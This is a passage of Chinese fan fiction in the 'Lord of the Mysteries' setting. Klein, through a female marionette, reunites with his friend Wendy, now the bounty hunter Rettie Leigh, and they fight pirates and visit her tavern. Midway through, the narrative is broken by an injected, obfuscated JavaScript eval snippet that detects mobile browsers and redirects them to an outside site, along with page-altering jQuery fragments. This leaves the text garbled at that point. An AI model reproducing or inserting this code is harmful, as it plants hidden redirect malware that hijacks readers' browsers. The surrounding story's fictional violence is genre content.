我完全无法反抗,只能被动地吞咽,任由那冰凉的液体滑过火烧火燎的喉咙,流入空瘪灼热的胃袋,然后,一股温和但不容抗拒的暖流,瞬间从腹部炸开,迅速蔓延向四肢百骸。 晕眩在消退,黑暗在退潮,无力感如同潮水般回落。中暑和脱水的症状,正在以不可思议的速度被这管药剂驱散、修复。 我瞪大了眼睛,视线终于清晰起来,在重新清晰的视线边缘,我看到了抱着我的人的下颌线条,和几缕垂下的黑色发丝。努力向上看去,对上了一双黑色的、仿佛能映出我此刻所有狼狈与惊愕的眼睛。 啊,是你啊。 我活下来了。 然后,你找到了“我”。 以一种我从未预料到的方式。 意识随着那管强效药剂迅速归位、清晰,涣散的视线重新聚焦,看清近在咫尺的那张脸时,克莱恩(操控着“翠西”这具秘偶)心里无声地感叹了一句,随即涌起一阵极为复杂的情绪。克莱恩瞬间明白了抱着自己的人是谁。 心里不禁感叹了一声。变化……真大啊。 印象里,你总是带着点学生气的拘谨,身材纤细,和当时的克莱恩身高相仿,需要微微抬头才能直视他的眼睛。 可眼前……眼前这位,即使是隔着秘偶的视角粗略感知,也能察觉到其高大挺拔的身形——你比克莱恩目前经过能力调整后、刻意维持在普通男性中等偏上身高(约一米八)的躯体,还要高出整整一个额头!至于和“翠西”这具本就偏娇小的女性秘偶身体相比,更是高出了一个脑袋还有余! 克莱恩借助秘偶的感知打量着你,完全想不到昔日的友人会变成如今这般……阳光勾勒着你宽阔的肩膀和结实的手臂线条,那是一种充满力量感的、可以用“高大威猛”来形容的体魄。 再次遇见你,你竟然变成了这样一个……充满野性与行动力的形象。尤其是现在这个姿势——你单手就将“翠西”整个抱在身侧,手臂稳稳托住膝弯和后背,轻松得像是拎着一只没什么分量的行李,姿势着实有些……嗯,微妙。像某些海上粗豪汉子抱着自己纤弱的小媳妇,还是刚从天灾人祸里捞出来的、奄奄一息的那种。 这体验着实新奇,也带着一种难以言喻的荒诞感。“温蒂,” 他通过“翠西”开口,声音因为药剂和迅速调整,已经恢复了基本的平稳,甚至还带上了一点故友重逢的熟稔调侃,“可以把我放下来了。你的药剂很有用,我现在感觉好多了,可以自己走。” 被好友,尤其是以现在这种形象出现的好友,这样像抱小孩似的抱着,克莱恩感觉自己的“人性”都因为这过于生动的体验而大幅增加了——主要是尴尬的那部分。 抱着他的高大身影闻言,低下头。克莱恩也能感觉到那审视的、带着关切的目光在自己脸上身上扫过。 “真的没问题吗?” 你的语气还是带着点不放心,但手臂的力道松了松。你低头看了看臂弯里的“翠西”,蜜色皮肤在阳光下闪着健康的光泽。 “真的没问题了。” 克莱恩控制秘偶轻轻但坚定地拍了拍对方箍着自己的手臂——触感结实有力,确实是长期锻炼的结果。 “你现在可以用非凡能力吗?” 你追问,显然很在意他的实际状态。 “可以了。” 克莱恩肯定地回答。那管药剂不仅治愈了□□的脱水与中暑,似乎还带有一定的灵性补充效果,让他对这具先前因虚弱几乎断联的秘偶的掌控力恢复了大半。 “那为什么还要把自己弄得这么惨?” 你的声音里带上了清晰的困惑和一丝不赞同,“刚才你差点就直接晒死、渴死在这里了。” “……” 克莱恩沉默了。 这个问题不好回答。总不能说“因为这具秘偶连同它所在的城市都是我为了完成仪式捏出来的消耗品,城市毁了,这秘偶本也该跟着销毁,没想到它自己‘活’了下来还漂到了这里,我有点好奇它能‘活’成什么样,顺便观察一下‘人性’在绝境下的残余反应,结果观察过头差点真把它晒死了”吧? 他顿了顿,选择了一个更简单、但也更接近本质的说法,声音通过秘偶传出,显得平淡甚至有些冷漠: “这只是一具秘偶。” 说完,似乎觉得不够,又补充了一句,顿了顿,似乎担心你这个依旧(或者说更加)直来直往的家伙会追问更深,又补充了一句,试图让解释听起来更合理且终结话题:“本来就是打算用完就丢弃的秘偶。” “这样啊……” 你低声重复了一句,听不出太多情绪。但你并没有立刻放下克莱恩,而是依旧保持着那个有些尴尬的“公主抱”姿势,甚至低下头,更近地看了看怀里秘偶的脸。“但是让自己晒死……也太折磨了吧?难道忍受痛苦也是你扮演的一部分?就算要处理掉,不能换个干脆点的方式吗?” “……” 克莱恩再次无言以对。这思路很“怪物”,直率又有点跳跃。 现在这个距离,克莱恩能更清楚地看到你如今的模样。你真的跟以前大不一样了。蜜色的皮肤显然是长期海上生活的印记,脸庞轮廓比记忆中硬朗了许多,眉宇间多了飒爽和历经风霜的沉静。发达的肌肉在贴身的海盗风格服饰下勾勒出流畅有力的线条,确实是……很帅气。是一种充满力量感和生命力的、迥异于传统淑女定义的英俊。 他控制秘偶移开视线,避开了你过于直接的探究目光,生硬地转移了话题,目光扫过你明显的身高优势,语气里带上了一点真实的感慨: “你现在这个身份……叫什么名字?有一米八以上吧?” 克莱恩估测着你的身高,确实很有压迫感。 幸好,你还是和克莱恩想的一样“好套话”,或者说,无论是克莱恩,还是此刻以“翠西”形象出现的他,你似乎一直都没什么防备。 “现在我叫瑞希·李(Rettie Leigh)。” 你果然毫不犹豫地回答了,语气自然,甚至带着点介绍新身份的小骄傲,“是一个海上冒险家,嗯,准确的说是赏金猎人。专门追捕那些悬赏金高的海盗和超凡通缉犯,有时候也接点探险寻宝的活儿。”说着你嘻嘻一笑:“嘿嘿,这个身体有整整188。” 188吗,那确实是很魁梧了,温蒂喜欢这种身材?“为什么叫这个名字?” 克莱恩顺着问,心里其实已经猜到了几分你的风格。 你咧嘴一笑,那笑容爽朗又带着点熟悉的、恶作剧般的狡黠,与此刻高大帅气的外形奇异地融合在一起:“克莱恩·莫雷蒂(Klein Moretti)的姓名翻转,再去掉‘脑袋’,Moretti去掉开头的Mo,Klein去掉K再稍微变形一下,就是瑞希·李(Rettie Leigh)啦。” 你用那种谈论天气般的轻松口吻,毫不犹豫地说出了一个让克莱恩瞬间无语的“地狱笑话”。 “……” 克莱恩感觉自己的思维停顿了至少两秒钟。秘偶脸上那“小丑”能力维持的、故作镇定的笑容都差点没挂住。 去掉脑袋…… 克莱恩一下子不知道应该用什么表情来面对这个过于有你独特风格的自我介绍。是吐槽你对自己的新名字都这么随意且充满黑色幽默,还是该感慨你即使换了具身体、换了种生活方式,骨子里某些跳脱的思维依旧没变? 果然还是该先为自己“被去掉了脑袋”默哀零点一秒吧。 克莱恩还想通过秘偶说点什么,比如“这名字真是别致”或者“你高兴就好”,来掩饰这瞬间的卡壳和无语。 你却突然毫无征兆地打断了他,虽然笑嘻嘻的,但是抱着克莱恩的手臂收紧了:“喂,克莱恩,你现在可以用你那个‘空气子弹’吧?就是打响指就能让人倒下,不用真枪的那个。” 你的目光锐利地扫向克莱恩身后的某个方向,虽然抱着一个人,但姿态稳如磐石。 “可以,怎么……” 克莱恩也瞬间通过秘偶的感知捕捉到了后方街角骤然爆发的混乱气息和恶意,但“翠西”的嘴刚吐出这两个词—— “哈哈哈哈——那正好!” 你发出一阵爽朗甚至有点狂气的大笑,原本只是揽抱的手臂瞬间收紧,将“翠西”更稳固地单手托在身侧,就像海盗夹着宝贵的战利品。紧接着,你腰腹与腿部肌肉骤然发力,整个人如同蓄满力的弹簧—— “敌人就交给你咯克莱恩!!” 话音未落,你已经像离弦的箭、出膛的炮弹一般,抱着他朝着与来路相反的方向猛冲了出去!速度之快,带起的气流几乎让“翠西”睁不开眼! “什……?!” 克莱恩只来得及通过秘偶发出半个惊愕的音节,就感觉天旋地转,景物在眼前疯狂倒退。你的速度快得惊人,即使单手抱着一个人,冲刺起来也丝毫没有滞涩感,反而带着一种野蛮冲撞般的气势! “砰!砰!砰!” 炽热的铅弹擦着你们急速移动的身影飞过,打在身后的墙壁和地面上,溅起碎石和火星。令人匪夷所思的是,如此密集的弹雨,在你那看似莽撞实则平稳的冲刺步伐下,竟然全部打空了! 就像有一双无形的手在操控着弹道,正正好都“人体描边”,最近的一颗几乎是擦着你飞扬的发梢掠过。 是你的“幸运”?还是某种超凡的闪避能力?克莱恩没时间细想。他被你这么单手托抱着(姿势更奇怪了),在枪林弹雨中狂奔,耳边是呼啸的风声、你兴奋的喘息、海盗们的叫骂和不断响起的枪声,这体验实在是……前所未有。 “克莱恩!左边三个!右墙后两个!房顶一个!” 瑞希一边以惊人的速度在狭窄的街道和杂物间穿梭跳跃,一边语速极快地报点,声音在高速移动中依旧清晰。 “真会给我找事……” 克莱恩心里默默吐槽了一句,但动作丝毫未慢。被你这么抱着狂奔,他几乎不需要自己用力维持平衡,这反而让克莱恩能更专注于操控灵性、锁定目标。 在平稳却急速的移动中,“翠西”平静地抬起了右手,拇指与中指搭在一起。 啪! 一声清脆的响指,在枪声和喊杀声中并不响亮,却带着某种奇异的穿透力。 远处,一个正举起枪试图瞄准的海盗,眉心突兀地出现一个细小的血洞,眼中的凶光瞬间凝固、涣散,一声不吭地仰面倒下。 啪!啪! 又是两声几乎连在一起的响指。 左侧两个试图包抄的海盗,一个喉咙被无形的“子弹”贯穿,嗬嗬地捂着脸口倒地;另一个则被击中心脏,直接毙命。 啪!啪!啪!啪! 克莱恩的手指仿佛成了死神的节拍器,每一次轻响,都精准地收割着生命。枪弹依旧从身边呼啸而过,但你的奔跑轨迹诡异莫测,时而急停变向,时而借助街边的障碍物腾跃,将他的身体保护得恰到好处,同时为他提供了绝佳的射击视野和角度。 “房顶!” 你提醒,同时一个急转弯,冲进一条更窄的巷子,将身后射来的子弹暂时甩开。 克莱恩头也没回,只是手指对着斜上方巷子边缘的屋顶轮廓,随意地、优雅地,再次打了个响指。 啪! 一个黑影从屋顶滚落,重重砸在巷口的杂物堆上,没了声息。 枪枪爆头,甚至能一响指放倒两个站位接近的。 高效,冷酷,带着一种近乎艺术的简洁。 被你抱着在枪林弹雨中高速移动,自己只需抬抬手,打个响指,敌人就如割草般倒下……这种体验,虽然仓促,虽然姿势奇葩,但不得不说…… 有点爽啊。 克莱恩透过翠西的眼睛,看着又两个从拐角嚎叫着冲出的海盗在清脆的响指声中毙命,心里莫名闪过这个念头。 当然,表面上,“翠西”这具秘偶的脸上,依旧是那副略带苍白、被抱着狂奔的柔弱模样,只有偶尔抬起、打响指的手,稳定得不像话。 克莱恩沉思着,这“爽”感背后,是对你此刻展现出的惊人身体素质、战斗直觉以及那明显非同寻常的“运气”重新评估。看来你消失的这段时间里收获颇丰。 克莱恩笑了笑,你身上发生了什么,那是之后需要思考的问题。现在—— 啪! 又一个试图从屋顶用短弩偷袭的海盗,额头上爆开血花,直挺挺地摔落下来。 “哈哈哈,太给力了克莱恩!”随着最后一个试图从背后偷袭的海盗被无形的“空气子弹”精准点爆,你一个利落的急停转身,稳稳地将夹在臂弯里的“翠西”放回地面。你的脸上毫无疲态,只洋溢着纯粹而热烈的兴奋,眼睛亮得惊人,环顾四周倒了一地的海盗,搓了搓手,毫不掩饰你的意图: “敌人既然都解决掉了,那我们赶快摸尸吧!说不定有好东西!” 你搓了搓手,语气里的兴奋几乎要溢出来,仿佛眼前不是横七竖八的尸体,而是等待开启的宝藏箱。 “这种事情不要说得这么兴奋啊……” 克莱恩操控着刚刚站稳的“翠西”忍不住吐槽,抬手整理了一下“翠西”凌乱的衣裙下摆,“好像我们是什么专门杀人越货的大反派一样。” 虽然话是这么说,但克莱恩的动作却没停,他目光冷静地扫过地上每一具“尸体”,没有丝毫犹豫,抬手,对着几具还在微微抽搐、尚未完全断气的尸体,又补了几记精准的“空气子弹”。“补枪是个好习惯。” 他淡淡地补充了一句。 “这叫高效回收资源!” 你理直气壮地反驳,人已经像一阵旋风般刮过战场,动作快得只剩残影。掏口袋,卸武器,解皮带扣(上面有时挂着零钱袋或小刀),摸索内衬,搜刮值钱的小物件,甚至不忘检查鞋底和衣领夹层……一套流程行云流水,显然是个中老手。转眼间,一堆零零碎碎的战利品就堆在了你脚边。 但这还没完。更让克莱恩眼角微微抽搐的是,你搜刮完毕后,从自己那件颇具冒险家风范的皮质外套内袋里,掏出一枚刻画着扭曲符号、泛着不祥暗红光泽的符咒。你调动灵性,目光扫过地上的尸体,用清晰的古赫密斯语沉声念诵: “异变!” 随着咒文落下,地上那些刚刚被搜刮干净、尚有余温的尸体,猛地剧烈抽搐起来!皮肤迅速失去血色,变得灰败僵硬,眼珠蒙上白翳,喉咙里发出嗬嗬的怪响——它们竟然在几秒钟内,哗啦啦地变成了行动迟缓但目标明确的活尸,摇摇晃晃地站起身,浑浊的目光齐刷刷锁定在你和“翠西”身上! “你……” 克莱恩看着这堪称“废物再利用”的骚操作,饶是他见多识广,此刻也懒得再克制表情,直白地冲你翻了个白眼。他就知道!以你现在的行事风格和“怪物”途径对“命运”与“异变”的掌控,不搞点出人意料的花样才怪! “嘿嘿,” 你仿佛没看见他的白眼,反而兴致勃勃地拍了拍“翠西”的肩膀,力道让娇小的秘偶身体晃了晃,用商量,或者说“怂恿”的语气问:“对了克莱恩!你能操控它们吗?把这些活尸做成你的秘偶怎么样?然后我们赶着它们去换赏金的地方!咱们赶着这群‘行走的赏金’去兑换点,多省事!都不用自己拖!” “不能。我这具身体只是一具序列七的秘偶。” 克莱恩回答得干脆利落,他没说谎,以“翠西”这具秘偶当前的构造和承载的灵性,确实没有这种精细的群体操控能力。当然,他没说的是,就在几分钟前,“翠西”还只是一具没有非凡能力、只会等死的普通秘偶,“空气子弹”还是他远程投射力量的结果。 “哦,那算了。” 你也不失望,干脆利落地接受了现实,然后自然而然地又俯身,一把将“翠西”重新抱了起来,还是那种单手托抱的省力姿势,仿佛抱的不是一个人,而是一个大型玩偶。 “喂!我自己能……” 克莱恩的抗议被颠簸打断。 “那就按原计划,让它们追着我们跑吧!” 反正它们现在只认我!” “走咯!” 你大笑一声,抱着他开始沿着街道狂奔,甚至还刻意放慢了速度,以确保后面那群步履蹒跚但锲而不舍的活尸能跟得上。 于是,在这座港口城镇的街道上,出现了极其诡异的一幕:一个高大健美、海盗打扮的女人,单手夹着一个衣着破烂但面容平静(甚至有点生无可恋)的娇小女子在前头跑,后面跟着一群面目狰狞、嗬嗬怪叫的活尸……为了让后面那群活尸能跟上,你还刻意时不时停下回头吆喝(挑衅)两声,像个赶着一群不听话的僵硬牲畜的牧羊人。 所过之处,鸡飞狗跳,尘土飞扬。 路人纷纷惊恐避让,但奇异地,没有一个活尸脱离队伍去攻击旁人,也没有流弹或误伤发生。活尸们似乎被某种无形的引力束缚,只认准了你和“翠西”这两个目标,对街道两旁吓得躲进店铺的行人视而不见,对挡路的杂物也只是笨拙地绕开或撞翻。 克莱恩内心再次确认了你对自身途径能力的掌控已经达到了一个相当精妙的程度。这种大范围、长时间维持“幸运”或“引导”而不波及无辜,绝非易事。 终于,你们抵达了目的地——一处有官方背景的“冒险者公会”兼治安所协同办事处。你停下脚步,将克莱恩放下,然后掏出另一枚黑夜符咒,注入灵性,对着身后浩浩荡荡的活尸群一扬。 “安眠!” 活尸们仿佛被抽走了最后一丝支撑的力量,齐刷刷地瘫倒在地,真正陷入了永恒的沉眠,再无声息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265681|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “搞定!” 你拍拍手,仿佛只是做了一件微不足道的小事。接着,你拖着那几具新鲜的尸体以及从他们身上搜刮的战利品,大摇大摆地走进了那间充满烟草、劣酒和汗味的地下场所。 接下来的流程就简单了。出示尸体(虽然变成了活尸又变回尸体,但面容和特征勉强可辨),核对通缉令。公会负责人看着这二十多具新鲜的海盗尸体,又看看气定神闲的你和旁边安静站着的“翠西”,表情极其精彩,赏金结算得很痛快。 你又当场把摸尸得来的战利品折价卖了出去,换成了更便携的钞票。当着克莱恩的面,利索地将刚到手的赏金和卖破烂的钱,分出一半给了他。 “喏,你的那份。” 你把钞票在“翠西”眼前晃了晃,笑容爽朗,“合作愉快!” 克莱恩点了点头,没多说什么。这份分成他收得心安理得,毕竟出力不小。 处理完这一切,你心情大好,拍了拍鼓囊不少的钱袋,转头看向克莱恩,眼睛弯起:“那我们现在……去我的产业玩玩?休息一下,喝一杯?我请你!庆祝一下和好友重逢!” 克莱恩默默地退后了两步,与你拉开一点距离,主要是这具秘偶的身高差让他总需要仰头看你,脖子有点酸。 “我可以自己走。” 克莱恩强调,防止你又做出些什么让他意想不到的行为,然后才问道:“你还有‘产业’呢?” 顿了顿,想起某些不太愉快的回忆,他忍不住提醒道:“别是买了房产吧?容易……嗯,容易被不知名路过的非凡者战斗波及,或者遭遇什么天灾人祸。” 这话由刚刚“策划”了乌托邦湮灭的“愚者”先生说出来,格外有说服力。 “哈哈,放心,不是房产!” 你笑了起来,似乎想起了什么,眼神变得有些悠远,带着他朝城镇另一头走去,步伐稳当,“记得我们之前救下的那个女孩吗?玛莎,那个向海神祈求的那个。” 记得,“翠西”差点死之前,我由她想到了你……克莱恩点了点头。 “她现在是我名下一家酒馆的老板,我资助她开的。” 你的语气带着点自豪,继续兴致勃勃地说道,“我让她成了非凡者,现在大概是序列七‘纵火家’?正好,管理一个小型的非凡者交易场所,也够用了。” 你比划了一下,“嗯,就跟我们当年在廷根时,那个‘恶龙酒吧’下面的市场差不多的经营模式。” “那确实是一个利润很高的买卖。” 克莱恩评价道,语气平静。他当然知道这种充当中间渠道和提供安全交易场所的生意有多么暴利,尤其是在海上航线交错、非凡者流动频繁的区域。 “对啊对啊!” 你像是找到了知音,一提到赚钱,眼睛又开始发亮,不自觉嘴角上翘,脸上露出一种混合着憧憬和满足的“暗爽”的表情。克莱恩终于有了些将现在的你和佐特兰街36号里的“怪物”小姐是同一个人的实感。 “我们还在廷根那时候,我就在想,” 你睁开眼,眸光灿灿,带着怀念,“要是以后退休了,能像斯维因老先生那样,就管着那么一个非凡者市场,抽点成……那不知道得有多赚,多安逸!” 看来,即使换了身体,改了名字,外形、气质都发生了天翻地覆的变化,有些人性深处的特质,比如对“赚钱”这件事的热爱与精打细算,你依旧保持得很好。克莱恩看着你这熟悉的表情,也忍不住微微扬起了嘴角,露出一丝真切的笑意。 “听起来不错。” 克莱恩说道,虽然心知自己离“退休”还很遥远,但不妨碍他和你一起畅想。 你说的酒馆,坐落在群岛南部一个气候湿热、植被茂密的海岛边缘。如果不是你带路,并且随口提了一句“这里离拜亚姆不算特别远”,克莱恩还真没意识到,自己,或者说“翠西”这具秘偶居然漂到了罗思德群岛的南部海域。 毕竟,当时乌托邦湮灭后,克莱恩只是随意地给“翠西”设定了一个“随波逐流、最终搁浅在某处海岸”的模糊结局,具体地点根本无所谓,那时也没想好要把这具用完的身体丢到世界哪个角落。 现在倒好,阴差阳错,被温蒂捡到了。克莱恩默默想着。“翠西”能漂到这里,大概也是某种“命运”的安排,或者干脆就是眼前你这家伙的“幸运”在起作用?克莱恩默默想着。 酒馆的招牌很不起眼,只画着一个模糊的、被藤蔓缠绕的船锚标志,连名字都没有。从外观上看,和记忆里廷根码头区的“恶龙酒吧”规模相差不大,都是那种用厚重木材和粗粝石块搭建的两层建筑,透着经年海风侵蚀的痕迹,招牌上的字母有些斑驳。但一走进去,氛围就截然不同。 没有“恶龙酒吧”那浓得化不开的劣质烟草、酒精和汗臭混合的气味。取而代之的是一种淡淡的、清冽中带着微涩的植物熏香,克莱恩敏锐地分辨出,那是白粟花的味道,有轻微宁神舒缓的效果,看来店主在环境营造上花了心思。在这里用作酒馆熏香,倒是别具一格。 没有辣眼睛的、只穿短裤的壮汉搏斗表演,取而代之的,是在大厅中央一个略高出地面的小舞台上,一位抱着七弦琴的吟游诗人,正拨动琴弦,唱着一首旋律悠扬、带着海浪气息的船歌。 台下的客人们三三两两,有男有女,也并非全都沉浸在酒精里,有的跟着节奏轻轻晃动身体,有的在交谈,还有的……嗯,在台下的空地上随着音乐群魔乱舞,气氛热烈而不暴戾。只有靠近墙边的区域,才规整地摆放着固定好的圆角方形餐桌和椅子,供想要安静喝酒交谈的客人使用。 就克莱恩看来,你的酒馆,倒更像是他记忆中里那种提供音乐,更偏向娱乐放松的“酒吧”,甚至还带点“蹦迪”氛围。 你熟门熟路地带着克莱恩穿过扭动的人群,来到长长的吧台前。吧台后站着两个人,一个年轻些的调酒师正在眼花缭乱地抛接瓶子,另一个则是系着围裙,很有风韵但眉宇间带着干练与一丝泼辣的红发女人——皮肤同你一样是健康的小麦色,眼神明亮锐利,动作利落有力。 “两杯喝的,” 你曲起手指敲了敲光亮的木质台面,往吧台前一靠,然后在周围略显嘈杂的音乐和人声中,清晰地报出:“一杯柠檬水,一杯甜冰茶,都少冰。” 明明是一身腱子肉,气场十足的赏金猎人形象,一开口点的却是如此“人畜无害”的饮料,气势顿时垮掉一截。 吧台后的女人,闻声抬头,看到是你,脸上立刻绽开一个爽朗又带着点调侃的笑容:“哟,我们的大海雕回来啦?还是老样子,一点‘硬货’都不沾?” 她嘴上说着,手底下却毫不含糊,熟练地从冰桶里夹出冰块,从柜台下拿出新鲜的柠檬和泡好的红茶,示意旁边的调酒师开始调配。她则是带着笑意,眼睛一眨不眨地盯着你看。 就在这时,一个坐在吧台角落、已经喝得有点高的男客人,手似乎“不经意”地朝着店长那系着围裙却难掩曲线的臀部伸去。你头也没回,仿佛后脑勺长了眼睛,直接一个抬手,把这位男客的脑袋扣在了吧台上,任他发出痛呼。 “啪!!” 同时,一记清脆响亮、力道十足的耳光,结结实实地扇在了那男客的脸上,脸上迅速浮现出清晰的五指印。你松了手,任由玛莎自己处理。 “规矩忘了?需要老娘帮你回忆回忆?” 红发女人这才慢悠悠地转过头,脸上笑容不变。 那男人酒醒了一半,脸色涨红,想发作又不敢,嗫嚅着低下头。女人却不再看他,随手抓住他的后脖领,也没见她如何用力,就像拎小鸡一样把那至少一百六七十磅重的醉汉从高脚凳上拎了起来,然后走到门口,手臂一抡—— “嗖——砰!” 男人□□脆利落地从敞开的门洞扔了出去,摔在外面的石板路上,发出一声闷响和痛呼。 整个过程行云流水,从扇巴掌到扔人出去,不过十几秒。店里喧闹的音乐和交谈声甚至没有中断,只有附近几桌客人瞥了一眼,发出几声见怪不怪的嗤笑或口哨,便又继续自己的事情,仿佛刚才只是拂去了一点灰尘,没有任何人露出惊讶或议论。显然,这里的“规矩”远比恶龙酒吧那种混乱中的默认法则要严格和明确得多,而这里的老板就是规矩最有力的执行者。 克莱恩默默比较着,接过你推过来的、杯壁凝结着水珠的甜冰茶。你自己则是拿起那杯柠檬水,仰头灌了一大口,满足地叹了口气。 “玛莎——” 你放下杯子,拖着长音喊着,脸上露出灿烂的笑容,等玛莎拍了拍手,像没事人一样走回吧台,你突然伸出手,在她挺翘的臀部不轻不重地拍了一下,发出“啪”的一声轻响。 “哎呀!要死啊你!” 玛莎夸张地惊叫一声,转过身作势要打你,脸上却飞起两朵红晕,眼神里是熟人间的嗔怪与笑意,轻轻推搡了你肩膀两下,“一回来就没个正形!吓我一跳!” 玛莎笑骂着,作势要打你,被你嬉笑着躲开,两人你来我往推搡了两下,气氛熟稔亲密。借着吧台明亮的灯光和近距离观察,克莱恩这才彻底认出来,这位出手彪悍、风情万种的酒馆老板娘,正是当时那个奄奄一息,被你和克莱恩救下的可怜女人玛莎。现在她脸上只余下自信与洒脱,身材也丰腴健康了许多。 “玛莎,看,” 你一把揽过躲在你身后半步安静喝甜冰茶的克莱恩,把他带到玛莎面前,献宝似的介绍,“我最好的老朋友之一!很久没见了,今天重逢,可得好好招待! 快,给我们腾张安静点的桌子出来,我要和我朋友好好叙旧,玩两把那个‘小球进洞’!” 玛莎的目光立刻如探照灯般在你和“翠西”之间来回巡视,尤其在“翠西”那整理过但仍显狼狈的衣裙,苍白但难掩美丽的面容上停留了片刻,脸上露出了然的甚至带着点忿忿的表情。 “好你个瑞希!” 玛莎叉起腰,声音抬高了些,带着夸张的醋意(至少听起来像),“我说你怎么突然跑回来了,还神神秘秘的!原来是带了‘好友’!啧啧,真看不出来,你居然喜欢这种可怜……的类型?” 她一边说,一边随手抓起自己身上的围裙下摆,擦了擦刚才拍打你时可能沾上水渍的手。 “少废话,你原来不也是这种类型?” 你笑嘻嘻地,丝毫不以为意,“快,桌子!顺便给我朋友送一套干净利落的衣服来!” “桌子?” 玛莎翻了个白眼,指了指周围几乎座无虚席、人头攒动的酒馆,“老板,你一回来就给我出难题!你看看现在,哪有空桌子给你?想要空桌?行啊——” 她拖长了音调,朝你伸出手,五指搓了搓,做了个宇宙通用的“钱”的手势,“那就得花钱!包场费,或者,至少得出钱让某些人‘自愿’让座!” “哪怕我是老板?” 你挑眉。 “就算是老板,你带妞来泡吧,也得按规矩花钱!” 玛莎毫不退让,理直气壮,眼中闪过狡黠的光,显然吃定了你。 你耸了耸肩,露出一副“真拿你没办法”的表情,然后转过头,朝旁边的克莱恩咧嘴,露出了那口标志性的大白牙,眼神里写着“看我的”。 紧接着,在克莱恩还没反应过来你想干什么时,你突然一个侧步,手臂一伸,精准地揽住了“她”的腰,将悄咪咪往人群边缘挪动、试图降低存在感的克莱恩一把捞了回来,牢牢固定在身侧。 然后,你深吸一口气,用你那足以穿透吟游诗人歌声和嘈杂人声的、洪亮而富有煽动力的嗓音,朝着整个酒馆大喊: “各位!安静一下!听我说!” 声音如同投入水面的巨石,瞬间吸引了大部分人的注意力。音乐声降低,交谈声减弱,许多目光投了过来。 你满意地环视一周,手臂依旧揽着略显僵硬的“翠西”,脸上露出一个热情洋溢、甚至有点嚣张的笑容,大声宣布: “我宣布一件事!这位——” 你用力晃了晃臂弯里的克莱恩,让她不得不面对众人,“这位美丽的小姐,是我瑞希多年未见的好友!今日重逢,我,非常、非常、开心!” “所以!” 你话音一顿,掷地有声,“在场的各位,要是谁能现在、立刻、马上,给我和我的好友腾出几张干净的桌子——” 你故意拉长了语调,吊足了所有人的胃口,在无数道期待的目光中,终于抛出了重磅炸弹: “那么,我,瑞希·李,以酒馆老板的名义宣布——” “今晚,全场所有人的酒水,我全包了!!!” “好——!!!” 短暂的死寂之后,是山呼海啸般的欢呼、口哨和拍桌声!酒客们瞬间沸腾了,高举双手,如同迎接节日的浪潮! “老板万岁!!” “瑞希大姐头大气!!” “快!那边有空位!” “我这里!我这里干净!” 几乎在你话音落下的下一秒,靠近角落的一张桌子旁,几个反应最快的酒客已经跳了起来,以最快的速度清理好自己的杯盘,然后朝着你拼命挥手示意,脸上洋溢着捡到大便宜的狂喜。 整个酒馆的气氛,被你一句话推向了高潮。玛莎在一旁抱着手臂,看着这意料之中的混乱场面,脸上露出了无奈又好笑的表情,摇了摇头,但眼神里并无不满,反而有种“果然如此”的纵容。 而你,志得意满地搂着一脸木然(已放弃表情管理)的“翠西”,看着瞬间为你空出的“最佳观景位”,露出了胜利者般的灿烂笑容。 …… 换上了玛莎拿来的棉布女装,克莱恩感觉除了稍微长了一点、胸部区域空了一些之外,穿着还是很干净舒适的。 已经慢慢习惯女装了啊,克莱恩心里感叹了一句,感觉自己见到你之后的碎碎念比过去几个月加起来都多。 在你简单明了的介绍下,克莱恩大致明白了所谓“小球进洞”的游戏规则。这个游戏算是你的酒馆特有的,为了回馈高消费或者像你这样直接包场的贵客,设立的一个带有赌博性质、但更多是图个热闹和彩头的返利活动。 具体来说,就是将三张方桌拼成一张颇有些长度的条桌。老板会在长桌的一端,紧密地摆放8×8共六十四个晶莹剔透的厚底玻璃杯,每个杯子里都预先放好了金额不等的现金,起步价就是六镑,至多八十八镑,金额不等。而参与游戏的顾客,则拥有三次机会,站在长桌的另一端,徒手抛出手中的小型玻璃弹珠。弹珠若能成功落入某个玻璃杯中且不弹出,该杯中所有的现金就归顾客所有。听起来简单,但考虑到杯口不大且排列紧密,桌面也光滑,以及那不算近的距离,想要精准命中,运气和一点点手感都不可或缺。 一般来说,要凑够开启这个游戏所需的门槛费,在你这个位于罗思德群岛南部边缘地带的酒馆,并不容易。但你既然大手一挥包了全场酒水,这消费额度绝对是绰绰有余了。克莱恩觉得,既然钱都花了,那这个游戏的返利部分,怎么也得努力拿回来一些,最好还能多拿点,虽然店老板就是你,金镑也是你左手倒右手的事。 很快,在几名手脚麻利的侍应生协助下,长桌拼好,六十四个擦得锃亮的玻璃杯被整齐地码放在长桌尽头,杯里卷好的钞票颜色深浅不一,暗示着不同的金额,在煤气灯下颇为诱人。你亲自检查了一遍,然后抬手,朝着站在桌子另一端的“翠西”,做了一个潇洒的“请”的手势,脸上带着看好戏的笑容。 克莱恩犹豫了一下。 他完全可以动用“小丑”的精准控制力,或者更隐晦地借助“奇迹师”对命运的细微影响,让这三颗小球指哪打哪。但看着你兴致勃勃的眼神,和周围那些纯粹来看热闹、起哄的酒客,他忽然觉得,或许……久违地,纯粹地试试运气也不错?以“翠西”这具身体,以克莱恩·莫雷蒂此刻的心情,不依靠任何非凡能力,会得到怎样的结果? 他从你手中接过那颗冰凉光滑的玻璃小球,拈在指尖,久违地开始回忆起属于周明瑞学生时代记忆,那些关于抛物线的、早已生疏的物理知识。在抛出之前,脑海中快速模拟了一下角度和力道。 然后,他屏息,凝神,手腕轻轻一抖—— 小球划出一道低平的弧线,越过长长的桌面,“嗒”地一声,轻轻落在距离杯子阵列还有一小段距离的光滑桌面上,紧接着弹起,以一个微妙的角度向前跳去。 所有人的目光都追随着那颗跳动的小球。它从桌面跳起,速度渐慢,不偏不倚,稳稳落在了四个紧紧挨在一起的玻璃杯正中央的空隙部分。确切地说,是卡在了四个杯沿构成的“十”字交叉点的凹陷里! 稳稳卡住,纹丝不动。既没有落入任何一个杯子,也没有掉到桌下。 